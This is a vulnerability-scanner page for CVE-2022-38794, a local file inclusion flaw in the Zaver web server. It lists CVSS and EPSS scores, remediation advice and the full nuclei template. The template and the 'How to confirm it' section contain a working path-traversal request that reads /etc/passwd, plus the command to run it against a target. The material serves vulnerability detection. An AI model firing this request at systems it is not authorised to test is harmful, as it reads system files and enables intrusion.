Zaver - Local File Inclusion

highseverity

7.5CVSS score

4.6%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

Zaver through 2020-12-15 is vulnerable to local file inclusion via the GET /.. substring.

Impact

This vulnerability can lead to unauthorized access, data leakage, and remote code execution.

Fix

To remediate this vulnerability, ensure that user input is properly validated and sanitized before being used in file inclusion operations.

How to confirm it

Send: GET {{BaseURL}}/../../../../../../../../etc/passwd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-38794 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-38794

info:
  name: Zaver - Local File Inclusion
  author: pikpikcu
  severity: high
  description: |
    Zaver through 2020-12-15  is vulnerable to local file inclusion via the GET /.. substring.
  impact: |
    This vulnerability can lead to unauthorized access, data leakage, and remote code execution.
  remediation: |
    To remediate this vulnerability, ensure that user input is properly validated and sanitized before being used in file inclusion operations.
  reference:
    - https://github.com/zyearn/zaver/issues/22
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38794
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-38794
    cwe-id: CWE-22
    epss-score: 0.04615
    epss-percentile: 0.91763
    cpe: cpe:2.3:a:zaver_project:zaver:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zaver_project
    product: zaver
  tags: cve,cve2022,lfi,zaver,zaver_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/../../../../../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from